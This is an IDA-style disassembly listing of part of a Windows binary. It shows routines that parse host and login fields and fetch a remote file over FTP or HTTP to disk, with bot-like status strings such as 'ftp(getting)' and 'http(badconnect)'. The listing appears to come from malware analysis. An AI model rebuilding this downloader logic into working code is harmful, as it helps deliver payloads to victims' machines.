mov [esp+124h+var_110], eax
test eax, eax
mov byte ptr [esp+124h+var_4], 8
jz short loc_41C7CC
mov ecx, eax
call sub_4021C6
mov edi, eax
jmp short loc_41C7CE
; ---------------------------------------------------------------------------
loc_41C7CC: ; CODE XREF: sub_41C610+1AFj
xor edi, edi
loc_41C7CE: ; CODE XREF: sub_41C610+1BAj
lea eax, [esp+124h+var_10C]
lea ecx, [edi+11h]
push eax
mov byte ptr [esp+128h+var_4], bl
call sub_401FBE
lea ecx, [esp+124h+var_DC]
push ecx
lea ecx, [edi+26h]
call sub_401FBE
lea edx, [esp+124h+var_C4]
lea ecx, [edi+65h]
push edx
call sub_401FBE
lea eax, [esi+69h]
lea ecx, [edi+7Ah]
push eax
call sub_401FBE
mov byte ptr [edi+8Fh], 0
mov byte ptr [edi+90h], 0
mov byte ptr [edi+91h], 0
mov cl, [esi+93h]
mov [edi+92h], cl
mov dl, [esi+94h]
mov ecx, edi
mov [edi+93h], dl
call sub_4013D4
loc_41C83C: ; CODE XREF: sub_41C610+C0j
lea ecx, [ebp+60h]
call sub_4017E4
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_41C9BB
push offset asc_443600 ; " "
lea eax, [esp+128h+var_F4]
push 1
push eax
mov ecx, esi
call sub_4016AE
lea ecx, [esp+124h+var_7C]
mov byte ptr [esp+124h+var_4], 9
push ecx
mov ecx, eax
call sub_401681
push eax
call sub_401938
add esp, 8
lea ecx, [esp+124h+var_F4]
test al, al
setz [esp+124h+var_111]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
mov al, [esp+124h+var_111]
test al, al
jnz loc_41D1A1
lea edx, [esp+124h+var_67]
lea ecx, [esp+124h+var_10C]
push edx
call sub_401FBE
push offset asc_443C94 ; ":"
lea ecx, [esp+128h+var_10C]
call sub_401A9B
mov eax, [esp+124h+var_28]
lea ecx, [esp+124h+var_10C]
push eax
call sub_401140
lea ecx, [esp+124h+var_24]
push ecx
lea ecx, [esp+128h+var_DC]
call sub_401FBE
push 1
push offset asc_443600 ; " "
lea edx, [esp+12Ch+var_F4]
push 2
push edx
mov ecx, esi
call sub_4011EA
push eax
lea ecx, [esp+128h+var_C4]
mov byte ptr [esp+128h+var_4], 0Ah
call sub_401FBE
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
push 94h
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+124h+var_110], eax
test eax, eax
mov byte ptr [esp+124h+var_4], 0Bh
jz short loc_41C94B
mov ecx, eax
call sub_4021C6
mov edi, eax
jmp short loc_41C94D
; ---------------------------------------------------------------------------
loc_41C94B: ; CODE XREF: sub_41C610+32Ej
xor edi, edi
loc_41C94D: ; CODE XREF: sub_41C610+339j
lea eax, [esp+124h+var_10C]
lea ecx, [edi+11h]
push eax
mov byte ptr [esp+128h+var_4], bl
call sub_401FBE
lea ecx, [esp+124h+var_DC]
push ecx
lea ecx, [edi+26h]
call sub_401FBE
lea edx, [esp+124h+var_C4]
lea ecx, [edi+65h]
push edx
call sub_401FBE
lea eax, [esi+69h]
lea ecx, [edi+7Ah]
push eax
call sub_401FBE
mov byte ptr [edi+8Fh], 1
mov byte ptr [edi+90h], 0
mov byte ptr [edi+91h], 0
mov cl, [esi+93h]
mov [edi+92h], cl
mov dl, [esi+94h]
mov ecx, edi
mov [edi+93h], dl
call sub_4013D4
loc_41C9BB: ; CODE XREF: sub_41C610+23Fj
lea ecx, [ebp+32h]
call sub_4017E4
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_41CBF6
push offset asc_443600 ; " "
lea eax, [esp+128h+var_F4]
push 1
push eax
mov ecx, esi
call sub_4016AE
lea ecx, [esp+124h+var_7C]
mov byte ptr [esp+124h+var_4], 0Ch
push ecx
mov ecx, eax
call sub_401681
push eax
call sub_401938
add esp, 8
lea ecx, [esp+124h+var_F4]
test al, al
setz [esp+124h+var_111]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
mov al, [esp+124h+var_111]
test al, al
jnz loc_41D1A1
lea edx, [esp+124h+var_67]
lea ecx, [esp+124h+var_10C]
push edx
call sub_401FBE
push offset asc_443C94 ; ":"
lea ecx, [esp+128h+var_10C]
call sub_401A9B
mov eax, [esp+124h+var_28]
lea ecx, [esp+124h+var_10C]
push eax
call sub_401140
lea ecx, [esp+124h+var_24]
push ecx
lea ecx, [esp+128h+var_DC]
call sub_401FBE
push 1
push offset asc_443600 ; " "
lea edx, [esp+12Ch+var_F4]
push 2
push edx
mov ecx, esi
call sub_4011EA
push eax
lea ecx, [esp+128h+var_C4]
mov byte ptr [esp+128h+var_4], 0Dh
call sub_401FBE
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
push offset asc_443600 ; " "
lea eax, [esp+128h+var_F4]
push 3
push eax
mov ecx, esi
call sub_4016AE
push offset word_44759A
mov ecx, eax
mov byte ptr [esp+128h+var_4], 0Eh
call sub_401B72
test eax, eax
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
setz [esp+124h+var_111]
call sub_401226
mov al, [esp+124h+var_111]
test al, al
jz short loc_41CB5E
lea ecx, [esp+124h+var_7C]
mov byte ptr [esp+124h+var_4], 4
call sub_4014B0
lea ecx, [esp+124h+var_C4]
mov byte ptr [esp+124h+var_4], 3
call sub_401226
lea ecx, [esp+124h+var_94]
mov byte ptr [esp+124h+var_4], 2
call sub_401226
lea ecx, [esp+124h+var_AC]
mov byte ptr [esp+124h+var_4], 1
call sub_401226
lea ecx, [esp+124h+var_DC]
mov byte ptr [esp+124h+var_4], 0
call sub_401226
lea ecx, [esp+124h+var_10C]
mov [esp+124h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
jmp loc_41D212
; ---------------------------------------------------------------------------
loc_41CB5E: ; CODE XREF: sub_41C610+4D6j
push 94h
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+124h+var_110], eax
test eax, eax
mov byte ptr [esp+124h+var_4], 0Fh
jz short loc_41CB86
mov ecx, eax
call sub_4021C6
mov edi, eax
jmp short loc_41CB88
; ---------------------------------------------------------------------------
loc_41CB86: ; CODE XREF: sub_41C610+569j
xor edi, edi
loc_41CB88: ; CODE XREF: sub_41C610+574j
lea ecx, [esp+124h+var_10C]
mov byte ptr [esp+124h+var_4], bl
push ecx
lea ecx, [edi+11h]
call sub_401FBE
lea edx, [esp+124h+var_DC]
lea ecx, [edi+26h]
push edx
call sub_401FBE
lea eax, [esp+124h+var_C4]
lea ecx, [edi+65h]
push eax
call sub_401FBE
lea ecx, [esi+69h]
push ecx
lea ecx, [edi+7Ah]
call sub_401FBE
mov byte ptr [edi+8Fh], 0
mov byte ptr [edi+90h], 1
mov byte ptr [edi+91h], 0
mov dl, [esi+93h]
mov [edi+92h], dl
mov al, [esi+94h]
mov ecx, edi
mov [edi+93h], al
call sub_4013D4
loc_41CBF6: ; CODE XREF: sub_41C610+3BEj
lea ecx, [ebp+0BCh]
call sub_4017E4
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_41CD9B
push offset asc_443600 ; " "
lea ecx, [esp+128h+var_F4]
push 1
push ecx
mov ecx, esi
call sub_4016AE
lea edx, [esp+124h+var_7C]
mov ecx, eax
push edx
mov byte ptr [esp+128h+var_4], 10h
call sub_401681
push eax
call sub_401938
add esp, 8
lea ecx, [esp+124h+var_F4]
test al, al
setz [esp+124h+var_111]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
mov al, [esp+124h+var_111]
test al, al
jnz loc_41D1A1
lea eax, [esp+124h+var_52]
lea ecx, [esp+124h+var_AC]
push eax
call sub_401FBE
lea ecx, [esp+124h+var_3D]
push ecx
lea ecx, [esp+128h+var_94]
call sub_401FBE
lea edx, [esp+124h+var_67]
lea ecx, [esp+124h+var_10C]
push edx
call sub_401FBE
lea eax, [esp+124h+var_24]
lea ecx, [esp+124h+var_DC]
push eax
call sub_401FBE
push 1
push offset asc_443600 ; " "
lea ecx, [esp+12Ch+var_F4]
push 2
push ecx
mov ecx, esi
call sub_4011EA
push eax
lea ecx, [esp+128h+var_C4]
mov byte ptr [esp+128h+var_4], 11h
call sub_401FBE
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
push 94h
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+124h+var_110], eax
test eax, eax
mov byte ptr [esp+124h+var_4], 12h
jz short loc_41CD0E
mov ecx, eax
call sub_4021C6
mov edi, eax
jmp short loc_41CD10
; ---------------------------------------------------------------------------
loc_41CD0E: ; CODE XREF: sub_41C610+6F1j
xor edi, edi
loc_41CD10: ; CODE XREF: sub_41C610+6FCj
lea edx, [esp+124h+var_10C]
lea ecx, [edi+11h]
push edx
mov byte ptr [esp+128h+var_4], bl
call sub_401FBE
lea eax, [esp+124h+var_DC]
lea ecx, [edi+26h]
push eax
call sub_401FBE
lea ecx, [esp+124h+var_C4]
push ecx
lea ecx, [edi+65h]
call sub_401FBE
lea edx, [esp+124h+var_AC]
lea ecx, [edi+3Bh]
push edx
call sub_401FBE
lea eax, [esp+124h+var_94]
lea ecx, [edi+50h]
push eax
call sub_401FBE
lea ecx, [esi+69h]
push ecx
lea ecx, [edi+7Ah]
call sub_401FBE
mov byte ptr [edi+8Fh], 0
mov byte ptr [edi+90h], 0
mov byte ptr [edi+91h], 1
mov dl, [esi+93h]
mov [edi+92h], dl
mov al, [esi+94h]
mov ecx, edi
mov [edi+93h], al
call sub_4013D4
loc_41CD9B: ; CODE XREF: sub_41C610+5FCj
lea ecx, [ebp+118h]
call sub_4017E4
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_41CF40
push offset asc_443600 ; " "
lea ecx, [esp+128h+var_F4]
push 1
push ecx
mov ecx, esi
call sub_4016AE
lea edx, [esp+124h+var_7C]
mov ecx, eax
push edx
mov byte ptr [esp+128h+var_4], 13h
call sub_401681
push eax
call sub_401938
add esp, 8
lea ecx, [esp+124h+var_F4]
test al, al
setz [esp+124h+var_111]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
mov al, [esp+124h+var_111]
test al, al
jnz loc_41D1A1
lea eax, [esp+124h+var_52]
lea ecx, [esp+124h+var_AC]
push eax
call sub_401FBE
lea ecx, [esp+124h+var_3D]
push ecx
lea ecx, [esp+128h+var_94]
call sub_401FBE
lea edx, [esp+124h+var_67]
lea ecx, [esp+124h+var_10C]
push edx
call sub_401FBE
lea eax, [esp+124h+var_24]
lea ecx, [esp+124h+var_DC]
push eax
call sub_401FBE
push 1
push offset asc_443600 ; " "
lea ecx, [esp+12Ch+var_F4]
push 2
push ecx
mov ecx, esi
call sub_4011EA
push eax
lea ecx, [esp+128h+var_C4]
mov byte ptr [esp+128h+var_4], 14h
call sub_401FBE
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
push 94h
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+124h+var_110], eax
test eax, eax
mov byte ptr [esp+124h+var_4], 15h
jz short loc_41CEB3
mov ecx, eax
call sub_4021C6
mov edi, eax
jmp short loc_41CEB5
; ---------------------------------------------------------------------------
loc_41CEB3: ; CODE XREF: sub_41C610+896j
xor edi, edi
loc_41CEB5: ; CODE XREF: sub_41C610+8A1j
lea edx, [esp+124h+var_10C]
lea ecx, [edi+11h]
push edx
mov byte ptr [esp+128h+var_4], bl
call sub_401FBE
lea eax, [esp+124h+var_DC]
lea ecx, [edi+26h]
push eax
call sub_401FBE
lea ecx, [esp+124h+var_C4]
push ecx
lea ecx, [edi+65h]
call sub_401FBE
lea edx, [esp+124h+var_AC]
lea ecx, [edi+3Bh]
push edx
call sub_401FBE
lea eax, [esp+124h+var_94]
lea ecx, [edi+50h]
push eax
call sub_401FBE
lea ecx, [esi+69h]
push ecx
lea ecx, [edi+7Ah]
call sub_401FBE
mov byte ptr [edi+8Fh], 1
mov byte ptr [edi+90h], 0
mov byte ptr [edi+91h], 1
mov dl, [esi+93h]
mov [edi+92h], dl
mov al, [esi+94h]
mov ecx, edi
mov [edi+93h], al
call sub_4013D4
loc_41CF40: ; CODE XREF: sub_41C610+7A1j
lea ecx, [ebp+0EAh]
call sub_4017E4
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_41D1A1
push offset asc_443600 ; " "
lea ecx, [esp+128h+var_F4]
push 1
push ecx
mov ecx, esi
call sub_4016AE
lea edx, [esp+124h+var_7C]
mov ecx, eax
push edx
mov byte ptr [esp+128h+var_4], 16h
call sub_401681
push eax
call sub_401938
add esp, 8
lea ecx, [esp+124h+var_F4]
test al, al
setz [esp+124h+var_111]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
mov al, [esp+124h+var_111]
test al, al
jnz loc_41D1A1
lea eax, [esp+124h+var_52]
lea ecx, [esp+124h+var_AC]
push eax
call sub_401FBE
lea ecx, [esp+124h+var_3D]
push ecx
lea ecx, [esp+128h+var_94]
call sub_401FBE
lea edx, [esp+124h+var_67]
lea ecx, [esp+124h+var_10C]
push edx
call sub_401FBE
lea eax, [esp+124h+var_24]
lea ecx, [esp+124h+var_DC]
push eax
call sub_401FBE
push 1
push offset asc_443600 ; " "
lea ecx, [esp+12Ch+var_F4]
push 2
push ecx
mov ecx, esi
call sub_4011EA
push eax
lea ecx, [esp+128h+var_C4]
mov byte ptr [esp+128h+var_4], 17h
call sub_401FBE
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
push offset asc_443600 ; " "
lea edx, [esp+128h+var_F4]
push 3
push edx
mov ecx, esi
call sub_4016AE
push offset word_44759A
mov ecx, eax
mov byte ptr [esp+128h+var_4], 18h
call sub_401B72
test eax, eax
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
setz [esp+124h+var_111]
call sub_401226
mov al, [esp+124h+var_111]
test al, al
jz short loc_41D0EC
lea ecx, [esp+124h+var_7C]
mov byte ptr [esp+124h+var_4], 4
call sub_4014B0
lea ecx, [esp+124h+var_C4]
mov byte ptr [esp+124h+var_4], 3
call sub_401226
lea ecx, [esp+124h+var_94]
mov byte ptr [esp+124h+var_4], 2
call sub_401226
lea ecx, [esp+124h+var_AC]
mov byte ptr [esp+124h+var_4], 1
call sub_401226
lea ecx, [esp+124h+var_DC]
mov byte ptr [esp+124h+var_4], 0
call sub_401226
lea ecx, [esp+124h+var_10C]
mov [esp+124h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
jmp loc_41D212
; ---------------------------------------------------------------------------
loc_41D0EC: ; CODE XREF: sub_41C610+A64j
push 94h
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+124h+var_110], eax
test eax, eax
mov byte ptr [esp+124h+var_4], 19h
jz short loc_41D114
mov ecx, eax
call sub_4021C6
mov edi, eax
jmp short loc_41D116
; ---------------------------------------------------------------------------
loc_41D114: ; CODE XREF: sub_41C610+AF7j
xor edi, edi
loc_41D116: ; CODE XREF: sub_41C610+B02j
lea eax, [esp+124h+var_10C]
lea ecx, [edi+11h]
push eax
mov byte ptr [esp+128h+var_4], bl
call sub_401FBE
lea ecx, [esp+124h+var_DC]
push ecx
lea ecx, [edi+26h]
call sub_401FBE
lea edx, [esp+124h+var_C4]
lea ecx, [edi+65h]
push edx
call sub_401FBE
lea eax, [esp+124h+var_AC]
lea ecx, [edi+3Bh]
push eax
call sub_401FBE
lea ecx, [esp+124h+var_94]
push ecx
lea ecx, [edi+50h]
call sub_401FBE
lea edx, [esi+69h]
lea ecx, [edi+7Ah]
push edx
call sub_401FBE
mov byte ptr [edi+8Fh], 0
mov byte ptr [edi+90h], 1
mov byte ptr [edi+91h], 1
mov al, [esi+93h]
mov [edi+92h], al
mov cl, [esi+94h]
mov [edi+93h], cl
mov ecx, edi
call sub_4013D4
loc_41D1A1: ; CODE XREF: sub_41C610+116j
; sub_41C610+295j ...
lea ecx, [esp+124h+var_7C]
mov byte ptr [esp+124h+var_4], 4
call sub_4014B0
lea ecx, [esp+124h+var_C4]
mov byte ptr [esp+124h+var_4], 3
call sub_401226
lea ecx, [esp+124h+var_94]
mov byte ptr [esp+124h+var_4], 2
call sub_401226
lea ecx, [esp+124h+var_AC]
mov byte ptr [esp+124h+var_4], 1
call sub_401226
lea ecx, [esp+124h+var_DC]
mov byte ptr [esp+124h+var_4], 0
call sub_401226
lea ecx, [esp+124h+var_10C]
mov [esp+124h+var_4], 0FFFFFFFFh
call sub_401226
mov al, 1
loc_41D212: ; CODE XREF: sub_41C610+549j
; sub_41C610+AD7j
mov ecx, [esp+124h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 114h
retn 4
sub_41C610 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 310h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41D540 proc near ; CODE XREF: sub_401B36j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41D540
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401424
lea ecx, [esi+15h]
mov [esp+14h+var_4], 0
call sub_401424
lea ecx, [esi+2Ah]
mov byte ptr [esp+14h+var_4], 1
call sub_401424
lea ecx, [esi+3Fh]
mov byte ptr [esp+14h+var_4], 2
call sub_401424
lea ecx, [esi+58h]
mov byte ptr [esp+14h+var_4], 3
call sub_401424
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_41D540 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41D5D0 proc near ; CODE XREF: sub_4014B0j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41D5D0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+58h]
mov [esp+14h+var_4], 3
call sub_401226
lea ecx, [esi+3Fh]
mov byte ptr [esp+14h+var_4], 2
call sub_401226
lea ecx, [esi+2Ah]
mov byte ptr [esp+14h+var_4], 1
call sub_401226
lea ecx, [esi+15h]
mov byte ptr [esp+14h+var_4], 0
call sub_401226
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_41D5D0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41D670 proc near ; CODE XREF: sub_4021C6j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41D670
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401E6A
lea ecx, [esi+11h]
mov [esp+14h+var_4], 0
call sub_401424
lea ecx, [esi+26h]
mov byte ptr [esp+14h+var_4], 1
call sub_401424
lea ecx, [esi+3Bh]
mov byte ptr [esp+14h+var_4], 2
call sub_401424
lea ecx, [esi+50h]
mov byte ptr [esp+14h+var_4], 3
call sub_401424
lea ecx, [esi+65h]
mov byte ptr [esp+14h+var_4], 4
call sub_401424
lea ecx, [esi+7Ah]
mov byte ptr [esp+14h+var_4], 5
call sub_401424
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43E0D0
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_41D670 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41D730: ; CODE XREF: ___:00401168j
; ___:loc_4019E7j
push esi
mov esi, ecx
call sub_4015C3
test byte ptr [esp+8], 1
jz short loc_41D748
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_41D748: ; CODE XREF: ___:0041D73Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41D760 proc near ; CODE XREF: sub_4015C3j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41D760
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
mov dword ptr [esi], offset off_43E0D0
lea ecx, [esi+7Ah]
mov [esp+14h+var_4], 5
call sub_401226
lea ecx, [esi+65h]
mov byte ptr [esp+14h+var_4], 4
call sub_401226
lea ecx, [esi+50h]
mov byte ptr [esp+14h+var_4], 3
call sub_401226
lea ecx, [esi+3Bh]
mov byte ptr [esp+14h+var_4], 2
call sub_401226
lea ecx, [esi+26h]
mov byte ptr [esp+14h+var_4], 1
call sub_401226
lea ecx, [esi+11h]
mov byte ptr [esp+14h+var_4], 0
call sub_401226
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_402031
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_41D760 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_41D830 proc near ; CODE XREF: sub_401C80j
var_44 = dword ptr -44h
var_3C = byte ptr -3Ch
var_30 = dword ptr -30h
var_28 = byte ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_14 = byte ptr 18h
arg_20 = byte ptr 24h
arg_24 = byte ptr 28h
arg_38 = byte ptr 3Ch
arg_44 = byte ptr 48h
arg_110 = byte ptr 114h
arg_120 = byte ptr 124h
arg_130 = byte ptr 134h
arg_1110 = dword ptr 1114h
arg_1114 = byte ptr 1118h
arg_1130 = dword ptr 1134h
arg_1138 = dword ptr 113Ch
arg_1144 = byte ptr 1148h
arg_1150 = dword ptr 1154h
; FUNCTION CHUNK AT 0041DF4B SIZE 0000001B BYTES
push 0FFFFFFFFh
mov eax, large fs:0
push offset loc_43B0F2
push eax
mov eax, 1158h
mov large fs:0, esp
call sub_436840
push ebx
push ebp
push esi
mov esi, ecx
push edi
push offset byte_446F70
lea edi, [esi+11h]
mov ecx, edi
call sub_4012EE
test eax, eax
jz loc_41DF38
lea ebx, [esi+65h]
push offset byte_446F70
mov ecx, ebx
call sub_4012EE
test eax, eax
jz loc_41DF38
lea ecx, [esi+26h]
push offset byte_446F70
call sub_4012EE
test eax, eax
jz loc_41DF38
mov al, [esi+91h]
test al, al
jz short loc_41D8D1
push offset byte_446F70
lea ecx, [esi+3Bh]
call sub_4012EE
test eax, eax
jz short loc_41D8C4
push offset byte_446F70
lea ecx, [esi+50h]
call sub_4012EE
test eax, eax
jnz short loc_41D8D1
loc_41D8C4: ; CODE XREF: sub_41D830+81j
mov [esp+1Ch+var_8], esi
lea eax, [esp+1Ch+var_8]
jmp loc_41DF40
; ---------------------------------------------------------------------------
loc_41D8D1: ; CODE XREF: sub_41D830+70j
; sub_41D830+92j
push offset asc_443C94 ; ":"
lea ecx, [esp+20h]
push 1
push ecx
mov ecx, edi
call sub_4016AE
push offset byte_446F70
mov ecx, eax
mov [esp+20h+arg_1150], 0
call sub_4012EE
lea ecx, [esp+1Ch]
mov ebp, eax
mov [esp+1Ch+arg_1150], 0FFFFFFFFh
call sub_401226
test ebp, ebp
jz short loc_41D95E
push offset asc_443C94 ; ":"
lea edx, [esp+20h]
push 1
push edx
mov ecx, edi
call sub_4016AE
mov ecx, eax
mov [esp+1Ch+arg_1150], 1
call sub_4017E4
push eax
nop
call near ptr 77C1BF18h
add esp, 4
lea ecx, [esp+1Ch]
mov ebp, eax
mov [esp+1Ch+arg_1150], 0FFFFFFFFh
call sub_401226
test ebp, ebp
jnz short loc_41D96F
loc_41D95E: ; CODE XREF: sub_41D830+E3j
mov al, [esi+91h]
neg al
sbb eax, eax
and al, 0C5h
add eax, 50h
mov ebp, eax
loc_41D96F: ; CODE XREF: sub_41D830+12Cj
push offset asc_443C94 ; ":"
lea ecx, [esp+20h+arg_14]
push 0
push ecx
mov ecx, edi
call sub_4016AE
lea edx, [esp+1Ch+arg_14]
mov ecx, edi
push edx
mov [esp+20h+arg_1150], 2
call sub_401FBE
lea eax, [esp+1Ch+arg_44]
push 104h
push eax
mov ecx, ebx
call sub_4017E4
push eax
nop
call near ptr 2810000h
lea ecx, [esp+28h+arg_38]
push ecx
mov ecx, ebx
call sub_4015D7
mov al, [esi+91h]
test al, al
jz loc_41DB04
call sub_401E06
; ---------------------------------------------------------------------------
lea edx, [esp+28h+var_14]
mov ecx, edi
push edx
call sub_4017E4
push eax
call sub_401A69
; ---------------------------------------------------------------------------
add esp, 8
test eax, eax
jnz short loc_41DA1C
lea ecx, [esi+7Ah]
call sub_401681
mov cl, [esi+92h]
push eax
mov al, [esi+93h]
push offset aFtpBadconnect ; "ftp(badconnect)"
push eax
push ecx
mov ecx, offset byte_4D60B5
call sub_401118
mov [esp+28h+var_18], esi
lea edx, [esp+28h+var_18]
jmp loc_41DF17
; ---------------------------------------------------------------------------
loc_41DA1C: ; CODE XREF: sub_41D830+1B7j
mov eax, [esp+28h+var_14]
lea ecx, [esi+50h]
push eax
call sub_4017E4
push eax
lea ecx, [esi+3Bh]
call sub_4017E4
push eax
call sub_402243
add esp, 0Ch
test eax, eax
jnz short loc_41DA73
lea ecx, [esi+7Ah]
call sub_401681
mov cl, [esi+93h]
mov dl, [esi+92h]
push eax
push offset aFtpBadlogin ; "ftp(badlogin)"
push ecx
push edx
mov ecx, offset byte_4D60B5
call sub_401118
lea eax, [esp+28h+var_18]
mov [esp+28h+var_18], esi
push eax
jmp loc_41DF18
; ---------------------------------------------------------------------------
loc_41DA73: ; CODE XREF: sub_41D830+20Dj
lea edi, [esi+7Ah]
mov ecx, edi
call sub_401681
mov cl, [esi+93h]
mov dl, [esi+92h]
push eax
push offset aFtpGetting ; "ftp(getting)"
push ecx
push edx
mov ecx, offset byte_4D60B5
call sub_401118
mov eax, [esp+28h+var_14]
lea ecx, [esi+26h]
push eax
push 49h
call sub_4017E4
push eax
mov ecx, ebx
call sub_4017E4
push eax
call sub_4016A9
add esp, 10h
test eax, eax
jnz short loc_41DAF2
mov ecx, edi
call sub_401681
mov cl, [esi+93h]
mov dl, [esi+92h]
push eax
push offset aFtpBaddl ; "ftp(baddl)"
push ecx
push edx
mov ecx, offset byte_4D60B5
call sub_401118
lea eax, [esp+28h+var_18]
mov [esp+28h+var_18], esi
push eax
jmp loc_41DF18
; ---------------------------------------------------------------------------
loc_41DAF2: ; CODE XREF: sub_41D830+28Dj
mov ecx, [esp+28h+var_14]
push ecx
call sub_401D52
add esp, 4
jmp loc_41DD7B
; ---------------------------------------------------------------------------
loc_41DB04: ; CODE XREF: sub_41D830+195j
lea ecx, [esp+28h+arg_20]
call sub_401424
lea ecx, [esp+28h+var_C]
mov [esp+28h+arg_1144], 3
call sub_401424
push ebp
mov ecx, edi
mov [esp+2Ch+arg_1144], 4
call sub_4017E4
push eax
call sub_401A8C
mov ebx, eax
add esp, 8
cmp ebx, 0FFFFFFFFh
mov [esp+28h+var_14], ebx
jnz short loc_41DB87
lea ecx, [esi+7Ah]
call sub_401681
mov dl, [esi+93h]
push eax
mov al, [esi+92h]
push offset aHttpBadconnect ; "http(badconnect)"
push edx
push eax
mov ecx, offset byte_4D60B5
call sub_401118
lea ecx, [esp+28h+var_18]
mov [esp+28h+var_18], esi
push ecx
mov ecx, offset byte_4E6EDB
call sub_40120D
; ---------------------------------------------------------------------------
db 53h
dd 69BAB8E8h, 0BEE99071h
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_41DB87: ; CODE XREF: sub_41D830+310j
push ebp
mov ecx, edi
call sub_4017E4
push eax
lea ecx, [esi+26h]
call sub_4017E4
push eax
lea edx, [esp+30h+arg_24]
push offset aGetSHttp1_0Con ; "GET %s HTTP/1.0\r\nConnection: Keep-Alive"...
push edx
call sub_40102D
add esp, 14h
lea ecx, [esp+24h+arg_24]
push 0
call sub_4013D9
push eax
lea ecx, [esp+2Ch+arg_24]
call sub_4017E4
push eax
push ebx
nop
call near ptr 71AB428Ah
lea edi, [esi+7Ah]
mov ecx, edi
call sub_401681
mov cl, [esi+92h]
push eax
mov al, [esi+93h]
push offset aHttpGetting ; "http(getting)"
push eax
push ecx
mov ecx, offset byte_4D60B5
call sub_401118
push offset aWb ; "wb"
lea ecx, [esi+65h]
call sub_4017E4
push eax
nop
call near ptr 77C3F010h
mov ebx, eax
add esp, 8
test ebx, ebx
jnz short loc_41DC80
mov ecx, edi
call sub_401681
mov dl, [esi+93h]
push eax
mov al, [esi+92h]
push offset aHttpBadopen ; "http(badopen)"
push edx
push eax
mov ecx, offset byte_4D60B5
call sub_401118
lea ecx, [esp+34h+var_24]
mov [esp+34h+var_24], esi
push ecx
mov ecx, offset byte_4E6EDB
call sub_40120D
; ---------------------------------------------------------------------------
lea ecx, [esp+34h+var_18]
mov byte ptr [esp+34h+arg_1138], 3
call sub_401226
lea ecx, [esp+34h+arg_14]
mov byte ptr [esp+34h+arg_1138], 2
call sub_401226
lea ecx, [esp+34h]
mov [esp+34h+arg_1138], 0FFFFFFFFh
call sub_401226
jmp loc_41DF4B
; ---------------------------------------------------------------------------
